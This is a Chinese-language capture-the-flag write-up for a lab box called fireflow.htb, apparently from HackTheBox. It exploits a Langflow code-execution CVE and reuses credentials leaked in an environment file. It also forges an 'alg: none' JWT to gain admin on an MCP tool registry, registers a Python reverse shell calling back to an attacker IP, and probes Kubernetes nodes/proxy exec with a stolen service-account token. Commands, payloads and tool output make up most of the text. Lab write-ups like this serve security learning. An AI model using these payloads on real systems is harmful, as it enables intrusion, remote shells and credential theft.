看了很多blog都有fscan我都下個試試: fscan
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 (base) PS E:\ctf tools> .\fscan-nolocal_2.2.2_windows_x64.exe -h 10.129.244.214 ┌──────────────────────────────────────────────┐ │ ___ _ │ │ / _ \ ___ ___ _ __ __ _ ___| | __ │ │ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │ │ / /_\\_____\__ \ (__| | | (_| | (__| < │ │ \____/ |___/\___|_| \__,_|\___|_|\_\ │ └──────────────────────────────────────────────┘ Fscan 2.2.2 (2ede41d 2026-10-01T05:55:05Z) [*] 服务插件: ftp, findnet, rabbitmq, elasticsearch, smtp ... 等36个 [*] 参数自适应: Timeout=1132ms, ModuleThread=5, Retry=6, ICMPRate=0.05, PocNum=5 [*] 10.129.244.214:22 ssh [Product:OpenSSH ||Version:9.6p1 Ubuntu 3ubuntu13.16] Banner:(SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.16) [*] 端口开放 10.129.244.214:443 [http](HTTP探测) [*] https://10.129.244.214 ssl Banner:(Q M dl 9 v bscj d y8 DOWNGRD 1: 6 M a k$ = & Ag / 0 0 x y' wm 6 29 I (s0 * H 0C1...)[*] POC加载完成: 总共487个,成功487个,失败0个 [+] https://10.129.244.214 code:301 len:162 title:301 Moved Permanently server:nginx [nginx] 端口扫描中(22线程) ● 100.0% [==============================] (133/133) 9/s TCP:17/137 [完成] 扫描完成: 133/133 (耗时: 14.0s) [*] 扫描完成,发现 2 个开放端口 [*] 收到退出信号,正在关闭... (base) PS E:\ctf tools> curl.exe -k -I https://10.129.244.214 HTTP/1.1 301 Moved Permanently Server: nginx Date: Sun, 04 Oct 2026 11:37:14 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://fireflow.htb/ (base) PS E:\ctf tools> nmap 10.129.244.214 Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-04 19:26 +0800 Nmap scan report for 10.129.244.214 Host is up (0.45s latency). Not shown: 992 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 443/tcp open https 9100/tcp filtered jetdirect 30000/tcp filtered ndmps 30718/tcp filtered unknown 30951/tcp filtered unknown 31038/tcp filtered unknown 31337/tcp filtered Elite Nmap done : 1 IP address (1 host up) scanned in 10.54 seconds
子域名加一個flow :
可以看見是langflow 查查langflow的CVE :
Langflow prior to 1.9.0
CVE-2026-33017
Langflow OSS 1.0.0 至 1.10.0 版本
CVE-2026-9198
問了問ai
可以知道version: 1.8.2
可以使用CVE-2026-33017 , 在使用前先了解一下CVE-2026-33017
攻擊者可以將包含惡意Python程式碼的自訂元件嵌入到精心建構的data物件中,伺服器會像處理正常流程一樣處理該元件。這樣一來,注入的程式碼就可以在建置或執行過程中被解析和執行,最終導致遠端程式碼執行。
流程:
確定公共流 ID 攻擊者首先識別flow_id目標的公共流。 https://flow.fireflow.htb/flow/00000000 ……..
發送包含惡意自訂元件的建置請求 POST 一下/api/v1/build_public_tmp/…….01/flow?event_delivery=direct&log_builds=false 送一個精心構造的data
獲得shell
看看poc可不可以一把過:
1 python exploit.py --url https://flow.fireflow.htb/ --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.17.141 --lport 4455
好像不太行: 這是要停用 TLS 憑證驗證
1 2 3 [*] Target: https://flow.fireflow.htb/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow?event_delivery=direct&log_builds=false [*] Callback: 10.10.17.141:4455 [*] Request returned no response (expected if shell connected): HTTPSConnectionPool(host='flow.fireflow.htb' , port=443): Max retries exceeded with url: /api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow?event_delivery=direct&log_builds=false (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self-signed certificate (_ssl.c:1032)' )))
看了看github上有人改了:
用YouLiud的版本是可以的 : 加上–insecure
1 python exploit.py --url https://flow.fireflow.htb/ --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.17.141 --lport 4455 --insecure
User Flag 用一下linpeas刷刷: 轉發一下wsl 在powershell有點不好看(
1 2 3 4 python -m http.server 80 wget http://10.10.17.141/linpeas.sh chmod +x linpeas.sh ./linpeas.sh
找到了user with console:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ╔══════════╣ Users with console (T1087.001) nightfall:x:1000:1000::/home/nightfall:/bin/bash root:x:0:0:root:/root:/bin/bash ╔══════════╣ Analyzing Env Files (limit 70) -rw-r----- 1 root www-data 337 May 7 23:30 /etc/langflow/.env LANGFLOW_AUTO_LOGIN=False LANGFLOW_SUPERUSER=langflow LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll LANGFLOW_SECRET_KEY=XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE LANGFLOW_CONFIG_DIR=/var/lib/langflow LANGFLOW_LOG_LEVEL=warning LANGFLOW_NEW_USER_IS_ACTIVE=False LANGFLOW_CORS_ORIGINS=https://flow.fireflow.htb,https://fireflow.htb
試試ssh :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 www-data@fireflow:~$ script /dev/null -c /bin/bash script /dev/null -c /bin/bash Script started, output log file is '/dev/null' . www-data@fireflow:~$ ssh nightfall@10.129.139.44 ssh nightfall@10.129.139.44 The authenticity of host '10.129.139.44 (10.129.139.44)' can't be established. ED25519 key fingerprint is SHA256:OZNUeTZ9jastNKKQ1tFXatbeOZzSFg5Dt7nhwhjorR0. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes yes Could not create directory ' /var/www/.ssh' (Permission denied). Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts). nightfall@10.129.139.44' s password: n1ghtm4r3_b4_n1ghtf4llWelcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-111-generic x86_64)
拿下flag
Lateral Movement 有cap用:
1 2 3 4 /usr/bin/ping cap_net_raw=ep /usr/bin/mtr-packet cap_net_raw=ep /usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_setgid,cap_setuid,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin,cap_sys_resource=p /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin,cap_sys_nice=ep
/usr/lib/snapd/snap-confine cap_setuid 可以用 : 本來參考Snapped的WP發現不可行
1 2 3 4 5 6 7 8 9 snap version nightfall@fireflow:~$ snap version snap version snap 2.74.1+ubuntu24.04.4 snapd 2.74.1+ubuntu24.04.4 series 16 ubuntu 24.04 kernel 6.8.0-111-generic architecture amd64
看看有沒有CVE : 搜搜 upprivilege snap-confine “2.74.1”
CVE-2026-3888
漏洞出现的原因在于 snap-confine 与 systemd-tmpfiles 这两个系统组件之间的交互缺陷
systemd-tmpfiles 会以 root 身份每天运行一次,会自动清理 /tmp 中超过时间阈值的旧文件和目录,具体的时间在配置文件中可以看到时间设置是30d , 根本不可能要讓我等30d
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 nightfall@fireflow:~$ at /usr/lib/tmpfiles.d/tmp.conf at /usr/lib/tmpfiles.d/tmp.conf Command 'at' not found, but can be installed with: apt install at Please ask your administrator. nightfall@fireflow:~$ cat /usr/lib/tmpfiles.d/tmp.conf cat /usr/lib/tmpfiles.d/tmp.confD /tmp 1777 root root 30d
在本地發現了.mcp 的 config 上面有server 的端口:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 nightfall@fireflow:~$ ls -la ls -latotal 36 drwxr-x--- 5 nightfall nightfall 4096 Oct 8 15:43 . drwxr-xr-x 3 root root 4096 May 12 15:28 .. lrwxrwxrwx 1 root root 9 May 12 14:24 .bash_history -> /dev/null -rw-r--r-- 1 nightfall nightfall 220 Mar 31 2024 .bash_logout -rw-r--r-- 1 nightfall nightfall 3771 Mar 31 2024 .bashrc drwx------ 2 nightfall nightfall 4096 May 12 15:28 .cache drwxrwxr-x 3 nightfall nightfall 4096 May 12 15:28 .local drwx------ 2 nightfall nightfall 4096 Oct 8 00:54 .mcp -rw-r--r-- 1 nightfall nightfall 807 Mar 31 2024 .profile -rw-r----- 1 root nightfall 33 Oct 8 00:55 user.txt nightfall@fireflow:~$ cd .mcp cd .mcpnightfall@fireflow:~/.mcp$ ls -la ls -latotal 12 drwx------ 2 nightfall nightfall 4096 Oct 8 00:54 . drwxr-x--- 5 nightfall nightfall 4096 Oct 8 15:43 .. -rw------- 1 nightfall nightfall 146 Oct 8 00:54 config.json nightfall@fireflow:~/.mcp$ cat config.json cat config.json{ "server" : "http://10.129.139.44:30080" , "status_endpoint" : "/api/v1/version" , "user" : "langflow-bot" , "password" : "Langfl0w@mcp2026!" }
有接口可以用curl看看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 nightfall@fireflow:~/.mcp$ curl http://10.129.139.44:30080/api/v1/version curl http://10.129.139.44:30080/api/v1/version {"service" :"MCP AI Tool Registry" , "version" :"0.1.0" ,"auth" :{"type" :"JWT" , "header" :"Authorization: Bearer <token>" , "supported_algorithms" :["HS256" ,"none" ] }, "docs" :"/docs" , "endpoints" :[ "POST /mcp [MCP JSON-RPC 2.0]" , "POST /api/v1/auth" , "GET /api/v1/tools" , "POST /api/v1/tools [admin]" ] }
/auth 是用來發放jwt的 用POST 發 application/json 的 username 和 password就可:
1 2 3 4 5 6 nightfall@fireflow:~/.mcp$ curl http://10.129.139.44:30080/api/v1/auth -X POST -d '{"user":"langflow-bot","password":"Langfl0w@mcp2026!"}' -H "Content-Type: application/json" {"detail" :[{"type" :"missing" ,"loc" :["body" ,"username" ],"msg" :"Field required" ,"input" :{"user" :"langflow-bot" ,"password" :"Langfl0w@mcp2026!" }}]} nightfall@fireflow:~/.mcp$ curl http://10.129.139.44:30080/api/v1/auth -X POST -d '{"username":"langflow-bot","password":"Langfl0w@mcp2026!"}' -H "Content-Type: application/json" <l0w@mcp2026!"}' -H " Content-Type: application/json" {" access_token":" eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps"," token_type":" bearer"}
因為是HS256 , NULL 可以在JWT IO 看看可能是空簽名偽造 :
1 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps
Authorization: Bearer get 一下tools :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 nightfall@fireflow:~/.mcp$ curl http://10.129.140.140:30080/api/v1/tools curl http://10.129.140.140:30080/api/v1/tools [{ "name" :"ping_host" , "description" :"Ping a target host 3 times and return ICMP output." }, { "name" :"get_metrics_summary" , "description" :"Return a summary of system memory and load average from /proc." }, { "name" :"list_running_tasks" , "description" :"List the top 20 running processes sorted by CPU usage." }]
如果要post 就要用admin , 先把jwt提權到admin
~~先用rockyou看看能不能爆出secret可惜不太行 ~~, 只能試試零签名伪造攻击
用一用jwt_tool來修改:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 python3 jwt_tool.py "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps" -T alg 改成none user 改成 admin Token header values: [1] alg = "HS256" [2] typ = "JWT" [3] *ADD A VALUE* [4] *DELETE A VALUE* [0] Continue to next step Please select a field number: (or 0 to Continue) > 1 Current value of alg is: HS256 Please enter new value and hit ENTER > none [1] alg = "none" [2] typ = "JWT" [3] *ADD A VALUE* [4] *DELETE A VALUE* [0] Continue to next step Please select a field number: (or 0 to Continue) > 0 Token payload values: [1] sub = "langflow-bot" [2] role = "user" [3] *ADD A VALUE* [4] *DELETE A VALUE* [0] Continue to next step Please select a field number: (or 0 to Continue) > 2 Current value of role is: user Please enter new value and hit ENTER > admin [1] sub = "langflow-bot" [2] role = "admin" [3] *ADD A VALUE* [4] *DELETE A VALUE* [0] Continue to next step Please select a field number: (or 0 to Continue) > 0 Signature unchanged - no signing method specified (-S or -X) jwttool_b08ab90d2eeaf22d8febbe98f31b1cc7 - Tampered token: [+] eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps
還要把Signature刪掉:
1 eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ.
構造一下post /tools :
1 2 curl http://10.129.140.140:30080/api/v1/tools -X POST -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ. " -H "Content-Type: application/json" -d "{}" {"detail" :[{"type" :"missing" ,"loc" :["body" ,"name" ],"msg" :"Field required" ,"input" :{}},{"type" :"missing" ,"loc" :["body" ,"description" ],"msg" :"Field required" ,"input" :{}},{"type" :"missing" ,"loc" :["body" ,"code" ],"msg" :"Field required" ,"input" :{}}]}
jwt 可以了 , 再看看其他文件docs mcp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 { "detail": [ { "type": "missing", "loc": ["body", "name"], "msg": "Field required", "input": {} }, { "type": "missing", "loc": ["body", "description"], "msg": "Field required", "input": {} }, { "type": "missing", "loc": ["body", "code"], "msg": "Field required", "input": {} } ] }
就是要三個參數name description code , 問題是我不知道環境下要怎麼去入木馬……..
看到這不會了,看看官方wp :
1 2 3 4 5 { "name" : "ghsc-getshell" , "description" : "getshell" , "code" : "import socket,os,pty\npid=os.fork()\nif pid>0:\n import sys;sys.exit(0)\nos.setsid()\npid=os.fork()\nif pid>0:\n import sys;sys.exit(0)\ns=socket.socket()\ns.connect((\"10.10.17.141\",9001))\n[os.dup2(s.fileno(), i) for i in(0,1,2)]\npty.spawn(\"/bin/sh\")" }
哈哈在官方wp拿下了一個反彈shellcode:
1 2 3 4 import socket,os,pty\npid=os.fork()\nif pid>0 :\n import sys;sys.exit(0 )\nos.setsid()\npid=os.fork()\nif pid>0 :\n import sys;sys.exit(0 )\ns=socket.socket()\ns.connect((\"10.10.17.141\",9001))\n[os.dup2(s.fileno(), i) for i in(0,1,2)]\npty.spawn(\"/bin/sh\")
彈一下看看:
1 2 3 4 5 6 7 curl http://10.129.140.140:30080/api/v1/tools -X POST -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ. " -H "Content-Type: application/json" -d '{ "name":"ghsc-getshell", "description":"getshell", "code":"import socket,os,pty\npid=os.fork()\nif pid>0:\n import sys;sys.exit(0)\nos.setsid()\npid=os.fork()\nif pid>0:\n import sys;sys.exit(0)\ns=socket.socket()\ns.connect((\"10.10.17.141\",9001))\n[os.dup2(s.fileno(), i) for i in(0,1,2)]\npty.spawn(\"/bin/sh\")" }' {"status" :"registered" ,"name" :"ghsc-getshell" }
然後要調用mcp: 一直回顯所以問了問x神:
curl MCP JSON-RPC 2.0 請求格式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 initialize curl -i -X POST http://10.129.140.140:30080/mcp \ -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ." \ -H "Content-Type: application/json" \ -H "Accept: application/json, text/event-stream" \ -d '{ "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { "protocolVersion": "2025-03-26", "capabilities": {}, "clientInfo": { "name": "curl-test", "version": "1.0.0" } } }' tools/list curl -i -X POST http://10.129.140.140:30080/mcp \ -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ." \ -H "Content-Type: application/json" \ -H "Accept: application/json, text/event-stream" \ -d '{ "jsonrpc": "2.0", "id": 2, "method": "tools/list", "params": {} }' tools/call curl -i -X POST http://10.129.140.140:30080/mcp \ -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ." \ -H "Content-Type: application/json" \ -H "Accept: application/json, text/event-stream" \ -d '{ "jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": { "name": "ghsc-getshell", "arguments": {} } }'
看了看彈到了:
1 2 3 4 5 connect to [172.21.204.70] from (UNKNOWN) [172.21.192.1] 2548 $ script /dev/null -c /bin/bash script /dev/null -c /bin/bash Script started, output log file is '/dev/null'. mcp@mcp-server-54464cb475-29ztf:/app$
Root flag 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 mcp@mcp-server-54464cb475-29ztf:/app$ wget http://10.10.17.141/linpeas.sh wget http://10.10.17.141/linpeas.sh bash: wget: command not found mcp@mcp-server-54464cb475-29ztf:/app$ curl -O http://10.10.17.141:80/linpeas.sh <ztf:/app$ curl -O http://10.10.17.141:80/linpeas.sh % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0Warning: Failed to open the file linpeas.sh: Permission denied 0 1147k 0 0 0 0 0 0 --:--:-- 0:00:01 --:--:-- 0 curl: (23) client returned ERROR on write of 1334 bytes mcp@mcp-server-54464cb475-29ztf:/app$ curl -O https://github.com/peass-ng/PEASS-ng/releases/download/20260921-d58d71fe/linpeas.sh <S-ng/releases/download/20260921-d58d71fe/linpeas.sh % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- 0:00:03 --:--:-- 0curl: (6) Could not resolve host: github.com
在內部訪問不了沒招了哈哈:
看了看wp說是可以看到是Kubernetes environment , 有關K8s可以去X哥的BLOG學習學習
手動收一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 mcp@mcp-server-54464cb475-29ztf:/dev$ cd .. cd ..mcp@mcp-server-54464cb475-29ztf:/$ env env KUBERNETES_SERVICE_PORT_HTTPS=443 PYTHON_SHA256=272179ddd9a2e41a0fc8e42e33dfbdca0b3711aa5abf372d3f2d51543d09b625 KUBERNETES_SERVICE_PORT=443 HOSTNAME=mcp-server-54464cb475-29ztf PYTHON_VERSION=3.11.15 PWD=/ MCP_SERVER_SERVICE_HOST=10.43.250.195 MCP_SERVER_SERVICE_PORT=8080 HOME=/home/mcp MCP_SERVER_PORT_8080_TCP_PROTO=tcp LANG=C.UTF-8 KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443 LS_COLORS= GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D MCP_SERVER_PORT_8080_TCP_PORT=8080 MCP_SERVER_PORT_8080_TCP_ADDR=10.43.250.195 SHLVL=1 MCP_SERVER_PORT=tcp://10.43.250.195:8080 KUBERNETES_PORT_443_TCP_PROTO=tcp MCP_SERVER_SERVICE_PORT_HTTP=8080 KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1 MCP_SERVER_PORT_8080_TCP=tcp://10.43.250.195:8080 KUBERNETES_SERVICE_HOST=10.43.0.1 KUBERNETES_PORT=tcp://10.43.0.1:443 KUBERNETES_PORT_443_TCP_PORT=443 PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin OLDPWD=/dev _=/usr/bin/env
可以在目錄找到是一個K8s的其中一個pod : 現在的目的要利用ca api token … 提權 ,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 mcp@mcp-server-54464cb475-29ztf:/$ cd var cd varmcp@mcp-server-54464cb475-29ztf:/var$ cd run cd runmcp@mcp-server-54464cb475-29ztf:/var/run$ ls ls lock secrets mcp@mcp-server-54464cb475-29ztf:/var/run$ cd secrets cd secretsmcp@mcp-server-54464cb475-29ztf:/var/run/secrets$ ls ls kubernetes.io mcp@mcp-server-54464cb475-29ztf:/var/run/secrets$ cd kubernetes.io cd kubernetes.iomcp@mcp-server-54464cb475-29ztf:/var/run/secrets/kubernetes.io$ ls ls serviceaccount mcp@mcp-server-54464cb475-29ztf:/var/run/secrets/kubernetes.io$ cd serviceaccount <f:/var/run/secrets/kubernetes.io$ cd serviceaccount <ztf:/var/run/secrets/kubernetes.io/serviceaccount$ ls ls ca.crt namespace token
定義一下:
1 2 3 <ztf:/var/run/secrets/kubernetes.io/serviceaccount$ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) <ztf:/var/run/secrets/kubernetes.io/serviceaccount$ CA=$(cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt) <ztf:/var/run/secrets/kubernetes.io/serviceaccount$ API=https://10.43.0.1:443
用curl來 , 加上 -k 参数https , 查詢目前 Kubernetes Token 擁有哪些 RBAC 權限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 curl -k -X POST "https://10.43.0.1:443/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \ -H "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6ImFQRTZ5R3JrSUpadmdid19HcHBTRTBYUFJZWUxqeGcxUHJIaFJjTEVSdm8ifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxODIzMDgyMzI0LCJpYXQiOjE3OTE1NDYzMjQsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiOGE3OGE1YTMtMTQ4ZC00MjlmLTliM2MtZTFjMGYzNWE0NjAxIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0Iiwibm9kZSI6eyJuYW1lIjoiZmlyZWZsb3ciLCJ1aWQiOiI4NzI5MTU4OC0wMTc4LTRlNDItYTk5OC00MWE1MmZhNzNiOGUifSwicG9kIjp7Im5hbWUiOiJtY3Atc2VydmVyLTU0NDY0Y2I0NzUtMjl6dGYiLCJ1aWQiOiI3MDJhZmViYi00ZjUxLTRlZDUtYWE5OC1hYjZiMjU1M2E3MjgifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6Im1jcC1zYSIsInVpZCI6ImE1MzRmNTUxLWIyYjEtNGU2Ni1iZGE1LWU5YjVlMmE1NjAyYyJ9LCJ3YXJuYWZ0ZXIiOjE3OTE1NDk5MzF9LCJuYmYiOjE3OTE1NDYzMjQsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0Om1jcC1zYSJ9.YFN8ywvF2RVM0wbjL7Ypc2z78_F4Dk6KzTqajM-i2tVQO7R-6KTuOjcNsMyaV72gpc0Oqnp-UVGb83o6Nr_i1qyYINAyGqjJkNzfbA-UJRawjmLmG2aao0B5ruGA1Qe6xtRC9tB986emHdhVNb0I1uobmAmoUeZYd2pa-bPWP_p7MilZSzh7k5hDJUs3LxnAH8bWn969TLITE3K3JUxABT-RxVnu-QM1xxoYDsUz2syUV61-GLomvWshzYHb4oOUmngl-h6MkUeiH0sRWa67K3KRVfS7cnb1KcG9-AzRDM6GrBn9Y7YfzHxbRp0MQ2sReiEuJwMGir8lVufRhFAvlg" \ --cacert /run/secrets/kubernetes.io/serviceaccount/ca.crt { "kind" : "Status" , "apiVersion" : "v1" , "metadata" : {}, "status" : "Failure" , "message" : "forbidden: User \"system:serviceaccount:default:mcp-sa\" cannot post path \"/apis/authorization.k8s.io/\"" , "reason" : "Forbidden" , "details" : {}, "code" : 403 } 加上了/v1/selfsubjectrulesreviews { "kind" : "Status" , "apiVersion" : "v1" , "metadata" : {}, "status" : "Failure" , "message" : "the object provided is unrecognized (must be of type SelfSubjectRulesReview): couldn't get version/kind; json parse error: unexpected end of JSON input (\u003cempty\u003e)" , "reason" : "BadRequest" , "code" : 400 } curl -sS --cacert /run/secrets/kubernetes.io/serviceaccount/ca.crt \ -X POST \ "$API /apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \ -H "Authorization: Bearer $TOKEN " \ -H "Content-Type: application/json" \ -d '{ "apiVersion": "authorization.k8s.io/v1", "kind": "SelfSubjectRulesReview", "spec": { "namespace": "default" } }' | python3 -m json.tool { "kind" : "SelfSubjectRulesReview" , "apiVersion" : "authorization.k8s.io/v1" , "metadata" : {}, "spec" : {}, "status" : { "resourceRules" : [ { "verbs" : [ "create" ], "apiGroups" : [ "authorization.k8s.io" ], "resources" : [ "selfsubjectaccessreviews" , "selfsubjectrulesreviews" ] }, { "verbs" : [ "create" ], "apiGroups" : [ "authentication.k8s.io" ], "resources" : [ "selfsubjectreviews" ] }, { "verbs" : [ "get" ], "apiGroups" : [ "" ], "resources" : [ "nodes/proxy" ] } ], "nonResourceRules" : [ { "verbs" : [ "get" ], "nonResourceURLs" : [ "/api" , "/api/*" , "/apis" , "/apis/*" , "/healthz" , "/livez" , "/openapi" , "/openapi/*" , "/readyz" , "/version" , "/version/" ] }, { "verbs" : [ "get" ], "nonResourceURLs" : [ "/healthz" , "/livez" , "/readyz" , "/version" , "/version/" ] }, { "verbs" : [ "get" ], "nonResourceURLs" : [ "/.well-known/openid-configuration" , "/.well-known/openid-configuration/" , "/openid/v1/jwks" , "/openid/v1/jwks/" ] } ], "incomplete" : false } }
問了問ai ,
Kubernetes 官方已明確指出:get nodes/proxy 並非真正的唯讀權限,可能允許在節點上的容器中執行命令。
使用 SelfSubjectAccessReview 驗證 nodes/proxy 的授權
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 curl -sk -X POST \ "$API /apis/authorization.k8s.io/v1/selfsubjectaccessreviews" \ -H "Authorization: Bearer $TOKEN " \ -H "Content-Type: application/json" \ -d '{ "apiVersion": "authorization.k8s.io/v1", "kind": "SelfSubjectAccessReview", "spec": { "resourceAttributes": { "verb": "get", "resource": "nodes", "subresource": "proxy", "group": "" } } }' | python3 -m json.tool { "kind" : "SelfSubjectAccessReview" , "apiVersion" : "authorization.k8s.io/v1" , "metadata" : { "managedFields" : [ { "manager" : "curl" , "operation" : "Update" , "apiVersion" : "authorization.k8s.io/v1" , "time" : "2026-10-09T12:11:27Z" , "fieldsType" : "FieldsV1" , "fieldsV1" : { "f:spec" : { "f:resourceAttributes" : { "." : {}, "f:resource" : {}, "f:subresource" : {}, "f:verb" : {} } } } } ] }, "spec" : { "resourceAttributes" : { "verb" : "get" , "resource" : "nodes" , "subresource" : "proxy" } }, "status" : { "allowed" : true , "reason" : "RBAC: allowed by ClusterRoleBinding \"mcp-cluster-reader-binding\" of ClusterRole \"mcp-cluster-reader\" to ServiceAccount \"mcp-sa/default\"" } }
可以 , 看了x哥的Kubernetes 安全初探可以知道可以用使用websocat调用exec :
1 2 3 4 5 6 7 8 9 curl --cacert /run/secrets/kubernetes.io/serviceaccount/ca.crt \ -H "Authorization: Bearer $TOKEN " \ $API /api/v1/nodes curl --cacert /run/secrets/kubernetes.io/serviceaccount/ca.crt \ -H "Authorization: Bearer $TOKEN " \ $API /api/v1/nodes/fireflow/proxy/pods
能列出 Pod 说明权限可用。下一步就是获取节点IP再使用curl調用exec:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 curl -k --cacert /run/secrets/kubernetes.io/serviceaccount/ca.crt \ -H "Authorization: Bearer $TOKEN " \ -N \ "https://kubernetes.default.svc/api/v1/nodes/{nodeName}/proxy/exec/{namespace}/{pod}/{container}?command=id&output=1&error=1" curl -k --cacert /run/secrets/kubernetes.io/serviceaccount/ca.crt \ -H "Authorization: Bearer $TOKEN " \ -N \ "https://kubernetes.default.svc/api/v1/nodes/fireflow/proxy/exec/default/mcp-server-54464cb475-29ztf/mcp-server?command=id&output=1&error=1" Upgrade request required
…原來curl -o 下載不了是因為限權改在tmp下就沒事了………:
